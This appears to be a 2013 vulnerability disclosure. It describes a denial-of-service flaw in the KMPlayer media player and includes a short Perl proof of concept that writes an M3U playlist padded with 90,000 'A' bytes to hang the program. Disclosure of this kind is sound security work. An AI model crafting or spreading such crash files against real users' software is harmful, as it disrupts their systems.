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Title : KMPlayer (PlayList M3U) Denial Of Service PoC All Versions Author : Jigsaw (Abdelmorite Eljoaydi) Date : 26-01-2013 E-mail : email@example.com Home : Morroco Facebook page : facebook.com/abdelmorit.alma platform : software Impact : Denial Of Service Tested on : KMPlayer (http://www.kmpmedia.net/) Version 3.5.00.77 and below OS : Tested on Windows XP SP1,SP2 and SP3 'Windows 7 is not Vulnerable' other OS maybe Vulnerable Risk : Low[+] / Medium[-] ====How to reproduce==== When creating a file with the poc below , you'll have to open the playlist file in kmplayer , a box will pop up just press OK . After that press the play button to trigger the DOS vulnerability . The program will not be able to respond until the process is killed using the task manager . =========Proof of concept=========== #!/usr/bin/perl my $j = "\x41" x 90000; my $h = "\x4D\x33\x55"; my $file = "kmplayer.m3u"; open ($File, ">$file"); print $File $h.$j; close ($File); ====================================